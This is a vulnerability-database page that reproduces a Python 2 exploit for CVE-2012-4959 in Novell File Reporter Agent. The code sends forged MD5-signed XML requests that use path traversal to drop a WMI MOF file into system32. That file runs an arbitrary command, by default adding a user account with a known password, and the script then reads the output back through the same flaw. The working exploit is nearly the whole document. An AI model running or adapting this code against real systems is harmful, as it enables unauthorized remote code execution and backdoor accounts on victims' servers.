Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day

Reporter	Title	Published	Views	Family All 34
0day.today	NFR Agent FSFUI Record File Upload Remote Command Execution	17 Nov 201200:00	–	zdt
0day.today	Novell File Reporter Agent XML Parsing Remote Code Execution	12 Dec 201200:00	–	zdt
Circl	CVE-2012-4959	19 Nov 201200:00	–	circl
Check Point Advisories	Novell File Reporter FSFUI File Upload (CVE-2012-4959)	10 Dec 201200:00	–	checkpoint_advisories
CVE	CVE-2012-4959	18 Nov 201219:00	–	cve
Cvelist	CVE-2012-4957	18 Nov 201219:00	–	cvelist
Cvelist	CVE-2012-4959	18 Nov 201219:00	–	cvelist
Exploit DB	Novell File Reporter (NFR) Agent FSFUI Record - Arbitrary File Upload / Remote Code Execution (Metasploit)	19 Nov 201200:00	–	exploitdb
Exploit DB	Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution	12 Dec 201200:00	–	exploitdb
exploitpack	Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution	12 Dec 201200:00	–	exploitpack


                                                # wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year 
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit 

import httplib, md5, sys

def message_MD5(arg):
	v = &#34;SRS&#34; + arg + &#34;SERVER&#34;
	m = md5.new(v)
	return m.hexdigest()

def genMof(command=&#34;net user abysssec 123456 /add&#34;):		
	
	vbs = &#34;&#34;
	vbs += &#34;\&#34;Set objShell = CreateObject(\\\&#34;WScript.Shell\\\&#34;)\\n\&#34;\n&#34;
	vbs += &#34;\&#34;objShell.Run \\\&#34;cmd.exe /C &#34;
	vbs += command
	vbs += &#34;\\\&#34;\&#34;&#34;


	mof = &#34;&#34;&#34;
	#pragma namespace (&#34;\\\\\\\\.\\\\root\\\\subscription&#34;)
	#pragma deleteclass(&#34;MyASEventConsumer&#34;, nofail)
	#pragma deleteinstance(&#34;__EventFilter.Name=\\\&#34;EF\\\&#34;&#34;, nofail)
	#pragma deleteinstance(&#34;ActiveScriptEventConsumer.Name=\\\&#34;ASEC\\\&#34;&#34;, nofail)

	class MyASEventConsumer
	{
		[key]string Name;
	};

	instance of ActiveScriptEventConsumer as $CONSUMER
	{
		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
		Name = &#34;ASEC&#34;;
		ScriptingEngine = &#34;VBScript&#34;;    
		ScriptText =
	SCRIPT;
	};

	instance of __EventFilter as $FILTER
	{
		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
		Name = &#34;EF&#34;;
		Query = &#34;SELECT * FROM __InstanceCreationEvent&#34;
			&#34; WHERE TargetInstance.__class = \\&#34;MyASEventConsumer\\&#34;&#34;;
		QueryLanguage = &#34;WQL&#34;;
	};

	instance of __FilterToConsumerBinding as $BINDING
	{
		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
		Filter = $FILTER;
		Consumer = $CONSUMER;
	};

	instance of MyASEventConsumer
	{
		 Name = &#34;Trigger&#34;;
	};
	&#34;&#34;&#34;.replace(&#39;SCRIPT&#39;,vbs)

	return mof

def main(argv=None):
	if argv is None:
		argv = sys.argv
	
	if len(argv) != 2:
		print &#34;[!] USAGE : mof \&#34;&#60;command]&#62;\&#34;&#34;
		return
	
	msg = &#34;&#60;ROOT&#62;&#60;NAME&#62;FSFUI&#60;/NAME&#62;&#60;UICMD&#62;130&#60;/UICMD&#62;&#60;TOKEN&#62;&#60;FILE&#62;../../../../../../Windows/system32/wbem/mof/command.mof&#60;/FILE&#62;&#60;/TOKEN&#62;&#60;![CDATA[&#34;
	msg += genMof(argv[1] + &#34;&#62; C:/Windows/System32/info.dat&#34;)
	msg += &#34;]]&#62;&#60;/ROOT&#62;&#34; 
	body = message_MD5(msg).upper() + msg
	headers = {&#34;Content-type&#34;: &#34;text/xml&#34;}
	
	conn = httplib.HTTPSConnection(&#34;192.168.10.20:3037&#34;)			
	conn.request(&#34;POST&#34;, &#34;/SRS/CMD&#34;,body, headers)
	response = conn.getresponse()
	print &#34;\n...Command Executed ...&#34;
	print response.status, response.reason
	
	print response.read()
	
	msg = &#34;&#60;ROOT&#62;&#60;NAME&#62;FSFUI&#60;/NAME&#62;&#60;UICMD&#62;126&#60;/UICMD&#62;&#60;TOKEN&#62;&#60;FILE&#62;../../../../../../WINDOWS/system32/info.dat&#60;/FILE&#62;&#60;/TOKEN&#62;&#60;/ROOT&#62;&#34;
	body = message_MD5(msg).upper() + msg
	conn.request(&#34;POST&#34;, &#34;/SRS/CMD&#34;,body, headers)
	response = conn.getresponse()
	conn.request(&#34;POST&#34;, &#34;/SRS/CMD&#34;,body, headers)
	response = conn.getresponse()
	print &#34;\n...Getting result ...&#34;
	print response.status, response.reason	
	print response.read()
	
	
	conn.close()


if __name__ == &#34;__main__&#34;:
    main()

01 Jul 2014 00:00Current

0.3Low risk

Vulners AI Score0.3

EPSS0.73924